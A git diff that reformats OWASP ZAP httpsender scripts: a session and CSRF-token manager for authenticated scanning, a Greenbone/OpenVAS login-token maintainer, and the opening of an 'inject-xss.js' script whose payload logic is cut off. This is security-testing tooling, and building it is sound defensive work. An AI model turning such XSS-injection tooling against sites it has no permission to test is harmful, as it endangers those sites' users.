find(this.sessions, function (e) { + return e.id == ID(); + }); + if (e) this.unlock(e); + return this; + }; + this.invalidateSession = function () { + for (var i in this) { + if (this[i]["th"] == ID()) { + this.splice(i, 1); + return; + } + } + }; +} +var authPool = new AuthPool(DATA_KEY); function skipInitiator(initiator) { - switch(initiator) { - case HttpSender.ACCESS_CONTROL_SCANNER_INITIATOR: return true; - case HttpSender.AUTHENTICATION_INITIATOR: return true; - case HttpSender.BEAN_SHELL_INITIATOR: return true; - case HttpSender.PROXY_INITIATOR: return true; - default: return false; - } -} - -var doInit = Java.synchronized(function(helper) { - var httpSender = helper.getHttpSender(); - httpSender.setUseGlobalState(SET_USE_GLOBAL_STATE); - httpSender.setUseCookies(SET_USE_COOKIES); - httpSender.setMaxRetriesOnIOError(RETRIES_ON_IO_ERROR); - doInit = function(){}; + switch (initiator) { + case HttpSender.ACCESS_CONTROL_SCANNER_INITIATOR: + return true; + case HttpSender.AUTHENTICATION_INITIATOR: + return true; + case HttpSender.BEAN_SHELL_INITIATOR: + return true; + case HttpSender.PROXY_INITIATOR: + return true; + default: + return false; + } +} + +var doInit = Java.synchronized(function (helper) { + var httpSender = helper.getHttpSender(); + httpSender.setUseGlobalState(SET_USE_GLOBAL_STATE); + httpSender.setUseCookies(SET_USE_COOKIES); + httpSender.setMaxRetriesOnIOError(RETRIES_ON_IO_ERROR); + doInit = function () {}; }, Short.TYPE); function doSkip(msg, initiator, caller) { - - var initiatorName = parseInitiator(initiator); - var path = msg.getRequestHeader().getURI().getPath(); - var skip = skipInitiator(initiator); - - log("{ method: doSkip { from: " + caller + " }" - + ", initiator: " + initiatorName - + ", path: " + path - + ", skip: " + skip + " }"); - - return skip; + var initiatorName = parseInitiator(initiator); + var path = msg.getRequestHeader().getURI().getPath(); + var skip = skipInitiator(initiator); + + log( + "{ method: doSkip { from: " + + caller + + " }" + + ", initiator: " + + initiatorName + + ", path: " + + path + + ", skip: " + + skip + + " }" + ); + + return skip; } /** * @param msg will be modified (not cloned). */ function doRequest(msg, helper, follow_redirects, retries, note) { - var requestHeader = msg.getRequestHeader(); - var httpSender = helper.getHttpSender(); + var requestHeader = msg.getRequestHeader(); + var httpSender = helper.getHttpSender(); - msg.setNote(note); + msg.setNote(note); - try { httpSender.sendAndReceive(msg, follow_redirects); } - catch(e) { - log("{ method: doRequest { " + requestHeader.getPrimeHeader() + " }", true); - log("{ method: doRequest { exception: " + e + " }", true); - return null; - } - return msg; + try { + httpSender.sendAndReceive(msg, follow_redirects); + } catch (e) { + log("{ method: doRequest { " + requestHeader.getPrimeHeader() + " }", true); + log("{ method: doRequest { exception: " + e + " }", true); + return null; + } + return msg; } function sendingRequest(msg, initiator, helper) { + if (doSkip(msg, initiator, "sendingRequest")) { + return; + } + doInit(helper); - if(doSkip(msg, initiator, "sendingRequest")) { - return; - } - - doInit(helper); + var requestHeader = msg.getRequestHeader(); + var requestBody = msg.getRequestBody(); + var authInfo = authPool.pollSession(); - var requestHeader = msg.getRequestHeader(); - var requestBody = msg.getRequestBody(); - var authInfo = authPool.pollSession(); + if (!authInfo) { + log("{ method: sendingRequest, no-auth-info: triggering auth process... }"); + authInfo = doAuth(helper); + if (authInfo) authPool.pushSession(authInfo); + else return; + } - if(!authInfo) { - log("{ method: sendingRequest, no-auth-info: triggering auth process... }"); - authInfo = doAuth(helper); - if(authInfo) - authPool.pushSession(authInfo); - else return; - } + if (CSRF_PER_REQUEST || (!authInfo.csrf && isCSRFRequired(msg))) { + authInfo.csrf = getCSRF(msg, authInfo.session, helper); + } - if(CSRF_PER_REQUEST || !authInfo.csrf && isCSRFRequired(msg)) { - authInfo.csrf = getCSRF(msg, authInfo.session, helper); - } + replaceAuthInfo(msg, authInfo); - replaceAuthInfo(msg, authInfo); + requestHeader.setContentLength(requestBody.length()); - requestHeader.setContentLength(requestBody.length()); - - log("{ method: sendingRequest, auth-pool: " + authPool + " }"); - log("{ method: sendingRequest (out), path: " + msg.getRequestHeader().getPrimeHeader() + " }"); + log("{ method: sendingRequest, auth-pool: " + authPool + " }"); + log( + "{ method: sendingRequest (out), path: " + + msg.getRequestHeader().getPrimeHeader() + + " }" + ); } function responseReceived(msg, initiator, helper) { + var responseHeader = msg.getResponseHeader(); + var httpSession = msg.getHttpSession(); + var r_code = responseHeader.getStatusCode(); - var responseHeader = msg.getResponseHeader(); - var httpSession = msg.getHttpSession(); - var r_code = responseHeader.getStatusCode(); + log( + "{ method: responseReceived (" + + procRC(responseHeader, r_code) + + "), auth-pool: " + + authPool + + " }" + ); - log("{ method: responseReceived (" + procRC(responseHeader, r_code) + "), auth-pool: " + authPool + " }"); + if (doSkip(msg, initiator, "responseReceived")) { + return; + } - if(doSkip(msg, initiator, "responseReceived")) { - return; - } - - var authInfo; + var authInfo; - if(invalidationLogic(responseHeader, httpSession, r_code)) { - authPool.invalidateSession(); - log("{ method: responseReceived (session-invalidated), auth-pool: " + authPool + " }"); - authInfo = doAuth(helper); - if(authInfo) - authPool.pushSession(authInfo); - } else authInfo = authPool.recoverSession(); + if (invalidationLogic(responseHeader, httpSession, r_code)) { + authPool.invalidateSession(); + log( + "{ method: responseReceived (session-invalidated), auth-pool: " + + authPool + + " }" + ); + authInfo = doAuth(helper); + if (authInfo) authPool.pushSession(authInfo); + } else authInfo = authPool.recoverSession(); - authPool.releaseSession(); + authPool.releaseSession(); - log("{ method: responseReceived (out), auth-info: " + authInfo + " }"); + log("{ method: responseReceived (out), auth-info: " + authInfo + " }"); } /** * @param msg: final (cloned) */ -function buildFromMessage(msg, version, secure, uri, escaped, method, data, charset, encode, content_type, cookies, user_agent) { - var request = msg.cloneRequest(); - var header = request.getRequestHeader(); - if(data) { - var body = new HttpRequestBody(); - if(charset) - body.setCharset(charset); - body.setBody(encode === true - ? encodeURIComponent(data) - : data); - request.setRequestBody(body); - header.setContentLength(request.getRequestBody().length()); - if(content_type && (HttpRequestHeader.POST.equals(method) || HttpRequestHeader.PUT.equals(method))) { - header.setHeader(HttpHeader.CONTENT_TYPE, content_type); - } - } - if(version) - header.setVersion(version); - if(method) - header.setMethod(method); - if(uri) - header.setURI(new URI(uri, escaped)); - if(cookies) - header.setCookies(cookies); - if(secure === true || secure === false) - header.setSecure(secure); - if(user_agent) - header.setDefaultUserAgent(user_agent); - - return request; -} - -function buildNewMessage(version, secure, uri, escaped, method, data, charset, encode, content_type, cookies, user_agent) { - return buildFromMessage(new HttpMessage(), version, secure, uri, escaped, method, data, charset, encode, content_type, cookies, user_agent); +function buildFromMessage( + msg, + version, + secure, + uri, + escaped, + method, + data, + charset, + encode, + content_type, + cookies, + user_agent +) { + var request = msg.cloneRequest(); + var header = request.getRequestHeader(); + if (data) { + var body = new HttpRequestBody(); + if (charset) body.setCharset(charset); + body.setBody(encode === true ? encodeURIComponent(data) : data); + request.setRequestBody(body); + header.setContentLength(request.getRequestBody().length()); + if ( + content_type && + (HttpRequestHeader.POST.equals(method) || + HttpRequestHeader.PUT.equals(method)) + ) { + header.setHeader(HttpHeader.CONTENT_TYPE, content_type); + } + } + if (version) header.setVersion(version); + if (method) header.setMethod(method); + if (uri) header.setURI(new URI(uri, escaped)); + if (cookies) header.setCookies(cookies); + if (secure === true || secure === false) header.setSecure(secure); + if (user_agent) header.setDefaultUserAgent(user_agent); + + return request; +} + +function buildNewMessage( + version, + secure, + uri, + escaped, + method, + data, + charset, + encode, + content_type, + cookies, + user_agent +) { + return buildFromMessage( + new HttpMessage(), + version, + secure, + uri, + escaped, + method, + data, + charset, + encode, + content_type, + cookies, + user_agent + ); } function buildPreAuthMessage() { - return buildNewMessage(HTTP_VERSION, null, PRE_AUTH_GET, false, HttpRequestHeader.GET) + return buildNewMessage( + HTTP_VERSION, + null, + PRE_AUTH_GET, + false, + HttpRequestHeader.GET + ); } function buildAuthMessage(session, csrf) { - var cookie = new HttpCookie(SESSION_COOKIE_NAME, session); - var cookies = [cookie]; - var message = buildNewMessage( - HTTP_VERSION, - null, - AUTH_POST, - false, - HttpRequestHeader.POST, - LOGIN_DATA, - DATA_CHARSET, - false, - HttpHeader.FORM_URLENCODED_CONTENT_TYPE, - cookies); - if(hasValue(csrf)) - replaceCSRF(message, csrf); - return message; + var cookie = new HttpCookie(SESSION_COOKIE_NAME, session); + var cookies = [cookie]; + var message = buildNewMessage( + HTTP_VERSION, + null, + AUTH_POST, + false, + HttpRequestHeader.POST, + LOGIN_DATA, + DATA_CHARSET, + false, + HttpHeader.FORM_URLENCODED_CONTENT_TYPE, + cookies + ); + if (hasValue(csrf)) replaceCSRF(message, csrf); + return message; } /** * @param msg: final (won't be modified) */ function buildRequestCSRF(msg, session) { - var cookie = new HttpCookie(SESSION_COOKIE_NAME, session); - var cookies = [cookie]; - var message = buildNewMessage( - HTTP_VERSION, - null, - CSRF_GET, - false, - HttpRequestHeader.GET, - "", - DATA_CHARSET, - false, - null, - cookies); - return message; + var cookie = new HttpCookie(SESSION_COOKIE_NAME, session); + var cookies = [cookie]; + var message = buildNewMessage( + HTTP_VERSION, + null, + CSRF_GET, + false, + HttpRequestHeader.GET, + "", + DATA_CHARSET, + false, + null, + cookies + ); + return message; } function doAuth(helper) { - - var preAuthData = doAuthInternal(buildPreAuthMessage(), helper, true, AUTH_RETRIES, "POST-FOR-PRE-AUTH"); - log("{ method: doAuth (pre-login): response { " - + "session: " + (preAuthData ? preAuthData.session : null) + ", " - + "csrf: " + (preAuthData ? preAuthData.csrf : null) + "}}"); - if(!preAuthData) return null; - - var authMessage = buildAuthMessage(preAuthData.session, preAuthData.csrf); - var authData = doAuthInternal(authMessage, helper, true, AUTH_RETRIES, "POST-FOR-AUTH"); - log("{ method: doAuth (login): response { " - + "session: " + (authData ? authData.session : null) + ", " - + "csrf: " + (authData ? authData.csrf : null) + "}}"); - if(!authData) return null; - - return new AuthInfo(authData.session, authData.csrf); + var preAuthData = doAuthInternal( + buildPreAuthMessage(), + helper, + true, + AUTH_RETRIES, + "POST-FOR-PRE-AUTH" + ); + log( + "{ method: doAuth (pre-login): response { " + + "session: " + + (preAuthData ? preAuthData.session : null) + + ", " + + "csrf: " + + (preAuthData ? preAuthData.csrf : null) + + "}}" + ); + if (!preAuthData) return null; + + var authMessage = buildAuthMessage(preAuthData.session, preAuthData.csrf); + var authData = doAuthInternal( + authMessage, + helper, + true, + AUTH_RETRIES, + "POST-FOR-AUTH" + ); + log( + "{ method: doAuth (login): response { " + + "session: " + + (authData ? authData.session : null) + + ", " + + "csrf: " + + (authData ? authData.csrf : null) + + "}}" + ); + if (!authData) return null; + + return new AuthInfo(authData.session, authData.csrf); } /** * @param msg modified */ function doAuthInternal(msg, helper, follow_redirects, retries, note) { - for(var i = AUTH_INTERNALL_RETRIES; i > 0; --i) { - var message = doRequest(msg, helper, follow_redirects, retries, note); - if(message != null) { - var session = getSessionCookie(message, HOST, SESSION_COOKIE_NAME); - var csrf = extractCSRF(msg, CSRF_PARAM_NAME, CSRF_HEADER_NAME); - return { session: session, csrf: csrf }; - } else { - try { Thread.sleep(AUTH_INTERNALL_ERR_DELAY) } - catch(e) { - log("{ method: doAuthInternal { sleep-failed: " + e + " }"); - } - } - } - log("{ method: doAuthInternal, " + note + " process failed! }"); - return null; + for (var i = AUTH_INTERNALL_RETRIES; i > 0; --i) { + var message = doRequest(msg, helper, follow_redirects, retries, note); + if (message != null) { + var session = getSessionCookie(message, HOST, SESSION_COOKIE_NAME); + var csrf = extractCSRF(msg, CSRF_PARAM_NAME, CSRF_HEADER_NAME); + return { session: session, csrf: csrf }; + } else { + try { + Thread.sleep(AUTH_INTERNALL_ERR_DELAY); + } catch (e) { + log("{ method: doAuthInternal { sleep-failed: " + e + " }"); + } + } + } + log("{ method: doAuthInternal, " + note + " process failed! }"); + return null; } function invalidationLogic(responseHeader, session, r_code) { - if(r_code == 401 || r_code == 403) { - log("{ method: invalidationLogic (" + r_code + "), invalidating-session }"); - return true; - } else if(r_code == 302) { - var arr = responseHeader.getHeaderValues("Location"); - if(arr.length > 0 && arr[0] === (UNAUTH_LOCATION)) { - log("{ method: invalidationLogic (" + r_code + "), invalidating-session }"); - return true; - } else return false; - } + if (r_code == 401 || r_code == 403) { + log("{ method: invalidationLogic (" + r_code + "), invalidating-session }"); + return true; + } else if (r_code == 302) { + var arr = responseHeader.getHeaderValues("Location"); + if (arr.length > 0 && arr[0] === UNAUTH_LOCATION) { + log( + "{ method: invalidationLogic (" + r_code + "), invalidating-session }" + ); + return true; + } else return false; + } } function replaceAuthInfo(msg, authInfo) { + if (hasValue(authInfo.csrf)) { + replaceCSRF(msg, authInfo.csrf); + } else log("{ method: replaceAuthInfo, no CSRF param to replace found }"); - if(hasValue(authInfo.csrf)) { - replaceCSRF(msg, authInfo.csrf); - } else log("{ method: replaceAuthInfo, no CSRF param to replace found }"); - - if(hasValue(authInfo.session)) { - var added = addOrReplaceSessionCookie(msg, authInfo.session); - log("{ method: replaceAuthInfo, sessionCookie: " + (added ? "replaced" : "pushed") + " }"); - } else log("{ method: replaceAuthInfo, sessionCookie not found! }"); + if (hasValue(authInfo.session)) { + var added = addOrReplaceSessionCookie(msg, authInfo.session); + log( + "{ method: replaceAuthInfo, sessionCookie: " + + (added ? "replaced" : "pushed") + + " }" + ); + } else log("{ method: replaceAuthInfo, sessionCookie not found! }"); } function getSessionCookie(msg, domain, sessionCookieName) { - var cookie = null; - var cookies = msg.getResponseHeader().getHttpCookies(domain); - log("{ method: getSessionCookie, cookies: " + cookies + " }"); - for(var i in cookies) { - if(cookies[i].getName() == sessionCookieName) - cookie = cookies[i].getValue(); - } return cookie; + var cookie = null; + var cookies = msg.getResponseHeader().getHttpCookies(domain); + log("{ method: getSessionCookie, cookies: " + cookies + " }"); + for (var i in cookies) { + if (cookies[i].getName() == sessionCookieName) + cookie = cookies[i].getValue(); + } + return cookie; } function addOrReplaceSessionCookie(msg, session) { + log("{ method: addOrReplaceSessionCookie, replacing sessionCookie }"); - log("{ method: addOrReplaceSessionCookie, replacing sessionCookie }"); + var requestHeader = msg.getRequestHeader(); + var cookies = requestHeader.getHttpCookies(); - var requestHeader = msg.getRequestHeader(); - var cookies = requestHeader.getHttpCookies(); - - var current = null; - var notFound = true; - for(var i in cookies) { - current = cookies[i]; - if(current.getName() == SESSION_COOKIE_NAME) { - current.setValue(session); - notFound = false; - } - } + var current = null; + var notFound = true; + for (var i in cookies) { + current = cookies[i]; + if (current.getName() == SESSION_COOKIE_NAME) { + current.setValue(session); + notFound = false; + } + } - if(notFound) - cookies.add(new HttpCookie(SESSION_COOKIE_NAME, session)); + if (notFound) cookies.add(new HttpCookie(SESSION_COOKIE_NAME, session)); - requestHeader.setCookies(cookies); + requestHeader.setCookies(cookies); - return notFound; + return notFound; } function getCSRF(msg, session, helper) { - var current = extractCSRF(msg, CSRF_PARAM_NAME, CSRF_HEADER_NAME); - if(hasValue(current)) { - log("{ method: getCSRF, csrf: " + current + " }"); - return current; - } else { - current = requestCSRF(msg, session, helper); - if(hasValue(current)) { - log("{ method: getCSRF, csrf: " + current + " }"); - return current; - } - } log("{ method: getCSRF, csrf: update-failed! }"); - return null; + var current = extractCSRF(msg, CSRF_PARAM_NAME, CSRF_HEADER_NAME); + if (hasValue(current)) { + log("{ method: getCSRF, csrf: " + current + " }"); + return current; + } else { + current = requestCSRF(msg, session, helper); + if (hasValue(current)) { + log("{ method: getCSRF, csrf: " + current + " }"); + return current; + } + } + log("{ method: getCSRF, csrf: update-failed! }"); + return null; } function requestCSRF(msg, session, helper) { - var csrfMessage = doRequest( - buildRequestCSRF(msg, session), - helper, - true, - CSRF_RETRIES, - "GET-FOR-CSRF"); - if(csrfMessage == null) - return null; - return extractCSRF(csrfMessage, CSRF_PARAM_NAME, CSRF_HEADER_NAME); + var csrfMessage = doRequest( + buildRequestCSRF(msg, session), + helper, + true, + CSRF_RETRIES, + "GET-FOR-CSRF" + ); + if (csrfMessage == null) return null; + return extractCSRF(csrfMessage, CSRF_PARAM_NAME, CSRF_HEADER_NAME); } function extractCSRF(msg, csrfFormName, csrfHeaderName) { + var value = msg.getResponseHeader().getHeaderValues(csrfHeaderName); + if (hasValue(value)) return value; - var value = msg.getResponseHeader().getHeaderValues(csrfHeaderName); - if(hasValue(value)) - return value; - - value = extractValue(msg.getResponseBody().toString(), csrfFormName, "meta", "content"); - if(hasValue(value)) - return value; + value = extractValue( + msg.getResponseBody().toString(), + csrfFormName, + "meta", + "content" + ); + if (hasValue(value)) return value; - value = extractValue(msg.getResponseBody().toString(), csrfFormName, "input", "value"); - if(hasValue(value)) - return value; + value = extractValue( + msg.getResponseBody().toString(), + csrfFormName, + "input", + "value" + ); + if (hasValue(value)) return value; - return null; + return null; } function replaceCSRF(msg, csrf) { - var r_count_h = replaceHeaderCSRF(msg, csrf); - var r_count_p = replacePostCSRF(msg, csrf); - var r_count_g = replaceGetCSRF(msg, csrf); - log("{ method: replaceAuthInfo, " - + "csrf@header: " + (r_count_h ? "set" : "missing") - + ", csrf@post: replaced " + r_count_p + " times " - + ", csrf@get: replaced " + r_count_g + " times }"); + var r_count_h = replaceHeaderCSRF(msg, csrf); + var r_count_p = replacePostCSRF(msg, csrf); + var r_count_g = replaceGetCSRF(msg, csrf); + log( + "{ method: replaceAuthInfo, " + + "csrf@header: " + + (r_count_h ? "set" : "missing") + + ", csrf@post: replaced " + + r_count_p + + " times " + + ", csrf@get: replaced " + + r_count_g + + " times }" + ); } function replaceHeaderCSRF(msg, csrf) { - var requestHeader = msg.getRequestHeader(); - var n = requestHeader.getHeaderValues(CSRF_HEADER_NAME).size(); - if(n > 0) { - requestHeader.setHeader(CSRF_HEADER_NAME, csrf); - if(n > 1) log("{ method: replaceHeaderCSRF, warn-header-appears-" + n + "-times }"); - } return n; + var requestHeader = msg.getRequestHeader(); + var n = requestHeader.getHeaderValues(CSRF_HEADER_NAME).size(); + if (n > 0) { + requestHeader.setHeader(CSRF_HEADER_NAME, csrf); + if (n > 1) + log("{ method: replaceHeaderCSRF, warn-header-appears-" + n + "-times }"); + } + return n; } function replacePostCSRF(msg, csrf) { - var requestHeader = msg.getRequestHeader(); - var requestBody = msg.getRequestBody(); - var formParams = msg.getFormParams(); - var ret = replaceCSRFParams(formParams, csrf); - if(ret.count > 0) { - requestBody.setFormParams(ret.params); - requestHeader.setContentLength(requestBody.length()); - } - return ret.count; + var requestHeader = msg.getRequestHeader(); + var requestBody = msg.getRequestBody(); + var formParams = msg.getFormParams(); + var ret = replaceCSRFParams(formParams, csrf); + if (ret.count > 0) { + requestBody.setFormParams(ret.params); + requestHeader.setContentLength(requestBody.length()); + } + return ret.count; } function replaceGetCSRF(msg, csrf) { - var urlParams = msg.getUrlParams(); - var ret = replaceCSRFParams(urlParams, csrf); - if(ret.count > 0) { - msg.setGetParams(ret.params); - log("{ method: replaceGetCSRF, warn-csrf-as-get-param-" + ret.count + "-times }"); - } return ret.count; + var urlParams = msg.getUrlParams(); + var ret = replaceCSRFParams(urlParams, csrf); + if (ret.count > 0) { + msg.setGetParams(ret.params); + log( + "{ method: replaceGetCSRF, warn-csrf-as-get-param-" + + ret.count + + "-times }" + ); + } + return ret.count; } function replaceCSRFParams(params, csrf) { - if(!params || !csrf) - return { count: 0, params: [] } - var count = 0; - params.forEach(function (e) { - if(e.getName() == CSRF_PARAM_NAME) { - e.setValue(csrf); - ++count; - } - }); - return { count: count, params: params }; + if (!params || !csrf) return { count: 0, params: [] }; + var count = 0; + params.forEach(function (e) { + if (e.getName() == CSRF_PARAM_NAME) { + e.setValue(csrf); + ++count; + } + }); + return { count: count, params: params }; } function extractValue(page, name, tag, att) { - var src = new Source(page); - var it = src.getAllElements(tag).iterator(); - while (it.hasNext()) { - var element = it.next(); - if (element.getAttributeValue('name') == name) { - return element.getAttributeValue(att); - } - } return null; + var src = new Source(page); + var it = src.getAllElements(tag).iterator(); + while (it.hasNext()) { + var element = it.next(); + if (element.getAttributeValue("name") == name) { + return element.getAttributeValue(att); + } + } + return null; } function procRC(responseHeader, r_code) { - return r_code < 300 || r_code > 399 - ? r_code - : r_code + ", location: " + responseHeader.getHeaderValues("Location"); + return r_code < 300 || r_code > 399 + ? r_code + : r_code + ", location: " + responseHeader.getHeaderValues("Location"); } function isCSRFRequired(msg) { - var requestHeader = msg.getRequestHeader(); - return requestHeader.getHeaderValues(CSRF_HEADER_NAME).size() > 0 - || isParamPresent(msg.getFormParams(), CSRF_PARAM_NAME) - || isParamPresent(msg.getUrlParams(), CSRF_PARAM_NAME) + var requestHeader = msg.getRequestHeader(); + return ( + requestHeader.getHeaderValues(CSRF_HEADER_NAME).size() > 0 || + isParamPresent(msg.getFormParams(), CSRF_PARAM_NAME) || + isParamPresent(msg.getUrlParams(), CSRF_PARAM_NAME) + ); } function isParamPresent(params, name) { - for(var e in params) { - if(e.getName().equals(name)) - return true; - } return false; + for (var e in params) { + if (e.getName().equals(name)) return true; + } + return false; } function hasValue(value) { - if(value === null) - return false - switch({}.toString.call(value).split(' ')[1].slice(0, -1).toLowerCase()) { - case 'undefined': return false; - case 'boolean': return true; - case 'number': return true; - case 'string': return value.length > 0; - case 'object': return Object.keys(value).length > 0; - default: return value.size(); - } + if (value === null) return false; + switch ({}.toString.call(value).split(" ")[1].slice(0, -1).toLowerCase()) { + case "undefined": + return false; + case "boolean": + return true; + case "number": + return true; + case "string": + return value.length > 0; + case "object": + return Object.keys(value).length > 0; + default: + return value.size(); + } } function valueOrZero(value) { - return hasValue(value) ? value : 0; + return hasValue(value) ? value : 0; } function parseInitiator(initiator) { - switch(initiator) { - case HttpSender.ACCESS_CONTROL_SCANNER_INITIATOR: return "ACCESS_CONTROL_SCANNER"; - case HttpSender.ACTIVE_SCANNER_INITIATOR: return "ACTIVE_SCANNER"; - case HttpSender.AJAX_SPIDER_INITIATOR: return "AJAX_SPIDER"; - case HttpSender.AUTHENTICATION_INITIATOR: return "AUTHENTICATOR"; - case HttpSender.BEAN_SHELL_INITIATOR: return "BEAN_SHELL"; - case HttpSender.FORCED_BROWSE_INITIATOR: return "FORCED_BROWSE"; - case HttpSender.FUZZER_INITIATOR: return "FUZZER"; - case HttpSender.MANUAL_REQUEST_INITIATOR: return "MANUAL_REQUEST"; - case HttpSender.PROXY_INITIATOR: return "PROXY"; - case HttpSender.SPIDER_INITIATOR: return "SPIDER"; - default: return initiator.name().replace(/_INITIATOR$/,''); - } + switch (initiator) { + case HttpSender.ACCESS_CONTROL_SCANNER_INITIATOR: + return "ACCESS_CONTROL_SCANNER"; + case HttpSender.ACTIVE_SCANNER_INITIATOR: + return "ACTIVE_SCANNER"; + case HttpSender.AJAX_SPIDER_INITIATOR: + return "AJAX_SPIDER"; + case HttpSender.AUTHENTICATION_INITIATOR: + return "AUTHENTICATOR"; + case HttpSender.BEAN_SHELL_INITIATOR: + return "BEAN_SHELL"; + case HttpSender.FORCED_BROWSE_INITIATOR: + return "FORCED_BROWSE"; + case HttpSender.FUZZER_INITIATOR: + return "FUZZER"; + case HttpSender.MANUAL_REQUEST_INITIATOR: + return "MANUAL_REQUEST"; + case HttpSender.PROXY_INITIATOR: + return "PROXY"; + case HttpSender.SPIDER_INITIATOR: + return "SPIDER"; + default: + return initiator.name().replace(/_INITIATOR$/, ""); + } } function find(arr, f) { - for(var i in arr) { - var e = arr[i]; - if(f(e)) return e; - } return null; + for (var i in arr) { + var e = arr[i]; + if (f(e)) return e; + } + return null; } -var writeToLog = function(text) { - print(" -- { script: x-csrf-token, tid: " + ID() + ", info: " + text + " }"); +var writeToLog = function (text) { + print(" -- { script: x-csrf-token, tid: " + ID() + ", info: " + text + " }"); }; var log = DO_LOG - ? (SYNC_LOG - ? Java.synchronized(writeToLog, Byte.TYPE) - : writeToLog - ): function(){}; - + ? SYNC_LOG + ? Java.synchronized(writeToLog, Byte.TYPE) + : writeToLog + : function () {}; diff --git a/httpsender/greenbone-maintain-auth.js b/httpsender/greenbone-maintain-auth.js index 64a0c538..9d067763 100644 --- a/httpsender/greenbone-maintain-auth.js +++ b/httpsender/greenbone-maintain-auth.js @@ -4,118 +4,135 @@ // Logging with the script name is super helpful! function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } function isStaticUrl(url) { - if (url.indexOf('.xml') !== -1) { + if (url.indexOf(".xml") !== -1) { return true; } - if (url.indexOf('.css') !== -1) { + if (url.indexOf(".css") !== -1) { return true; } - if (url.indexOf('.gif') !== -1) { + if (url.indexOf(".gif") !== -1) { return true; } - if (url.indexOf('.js') !== -1) { + if (url.indexOf(".js") !== -1) { return true; } - if (url.indexOf('.txt') !== -1) { + if (url.indexOf(".txt") !== -1) { return true; } - if (url.indexOf('.htm') !== -1) { + if (url.indexOf(".htm") !== -1) { return true; } return false; } -var COOKIE_TYPE = org.parosproxy.paros.network.HtmlParameter.Type.cookie; -var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars'); -var HtmlParameter = Java.type('org.parosproxy.paros.network.HtmlParameter'); -var HttpSender = Java.type('org.parosproxy.paros.network.HttpSender'); +var COOKIE_TYPE = org.parosproxy.paros.network.HtmlParameter.Type.cookie; +var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); +var HtmlParameter = Java.type("org.parosproxy.paros.network.HtmlParameter"); +var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender"); // Rewrite requests to include correct query token param function sendingRequest(msg, initiator, helper) { var reqbody = msg.getRequestBody().toString(); var headers = msg.getRequestHeader(); - var url = headers.getURI().toString(); - var qry = headers.getURI().getQuery(); + var url = headers.getURI().toString(); + var qry = headers.getURI().getQuery(); var cookies = headers.getCookieParams(); - if (initiator === HttpSender.SPIDER_INITIATOR) {} - if (isStaticUrl(url)) {return;} + if (initiator === HttpSender.SPIDER_INITIATOR) { + } + if (isStaticUrl(url)) { + return; + } - var token = ScriptVars.getGlobalVar("openvas.token") - var gsad_id = ScriptVars.getGlobalVar("openvas.gsad_id") + var token = ScriptVars.getGlobalVar("openvas.token"); + var gsad_id = ScriptVars.getGlobalVar("openvas.gsad_id"); - if (gsad_id === null || gsad_id === '0' || gsad_id == 0) { - logger('No valid gsad_id') + if (gsad_id === null || gsad_id === "0" || gsad_id == 0) { + logger("No valid gsad_id"); return; } - if (token === null) {return;} + if (token === null) { + return; + } // Already logged in, so move on - if ((headers.getMethod() === 'POST' && reqbody.indexOf('cmd=login') !== -1) || url.indexOf('login') !== -1) { + if ( + (headers.getMethod() === "POST" && reqbody.indexOf("cmd=login") !== -1) || + url.indexOf("login") !== -1 + ) { return; } - var cookieParam = new HtmlParameter(COOKIE_TYPE, 'GSAD_SID', gsad_id); + var cookieParam = new HtmlParameter(COOKIE_TYPE, "GSAD_SID", gsad_id); // https://hc.apache.org/httpclient-3.x/apidocs/org/apache/commons/httpclient/URI.html if (qry !== null && qry.toString().indexOf(token) !== -1) { - logger('Already has token, no need to rewrite') + logger("Already has token, no need to rewrite"); return; } // If already a cookie, remove to reset if (!cookies.isEmpty()) { - var existing = cookies.first() - cookies.remove(existing) + var existing = cookies.first(); + cookies.remove(existing); } - cookies.add(cookieParam) - msg.getRequestHeader().setCookieParams(cookies) + cookies.add(cookieParam); + msg.getRequestHeader().setCookieParams(cookies); var newqry = "token=" + token; if (qry !== null) { - newqry = qry.replace(/[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}/, token); + newqry = qry.replace( + /[a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12}/, + token + ); } // @todo add token to post data - headers.getURI().setQuery(newqry) + headers.getURI().setQuery(newqry); } // Monitor responses to look for successful login to update session info function responseReceived(msg, initiator, helper) { - var reqbody = msg.getRequestBody().toString(); - var resbody = msg.getResponseBody().toString() - var headers = msg.getRequestHeader(); + var reqbody = msg.getRequestBody().toString(); + var resbody = msg.getResponseBody().toString(); + var headers = msg.getRequestHeader(); var resheaders = msg.getResponseHeader(); // Login is only via POST - if (headers.getMethod() !== 'POST') {return;} + if (headers.getMethod() !== "POST") { + return; + } // Login has specific items in post body - if (reqbody.indexOf('cmd=login') === -1) {return;} + if (reqbody.indexOf("cmd=login") === -1) { + return; + } - var cookie = resheaders.getHeader('Set-Cookie').toString(); - var gsad_id = cookie.split(';')[0].split('=')[1] - var tokenIdx = resbody.indexOf("&token=") - var token = resbody.substring(tokenIdx + 7, tokenIdx + 43); + var cookie = resheaders.getHeader("Set-Cookie").toString(); + var gsad_id = cookie.split(";")[0].split("=")[1]; + var tokenIdx = resbody.indexOf("&token="); + var token = resbody.substring(tokenIdx + 7, tokenIdx + 43); // Ignore bad session id - if (gsad_id == '0') {return;} + if (gsad_id == "0") { + return; + } - ScriptVars.setGlobalVar("openvas.token", token) - ScriptVars.setGlobalVar("openvas.gsad_id", gsad_id) + ScriptVars.setGlobalVar("openvas.token", token); + ScriptVars.setGlobalVar("openvas.gsad_id", gsad_id); - logger("New greenbone session tokens " + token + " - " + gsad_id ) + logger("New greenbone session tokens " + token + " - " + gsad_id); // @todo set active session } diff --git a/httpsender/inject-xss.js b/httpsender/inject-xss.js index a4e11e18..860d2443 100644 --- a/httpsender/inject-xss.js +++ b/httpsender/inject-xss.js @@ -3,13 +3,10 @@ // Logging with the script name is super helpful! function logger() { - print(this['zap.script.name'] + '] ' + arguments[0]); + print(this["zap.script.name"] + "] " + arguments[0]); } - -var ignoreKeys = [ - 'id', 'status' -]; +var ignoreKeys = ["id", "status"]; function injectXssPayloads(data) { if (Array.isArray(data)) { @@ -19,7 +16,7 @@ function injectXssPayloads(data) { return data; } - if (typeof data !== 'object') { + if (typeof data !== "object") { return data; } @@ -31,13 +28,13 @@ function 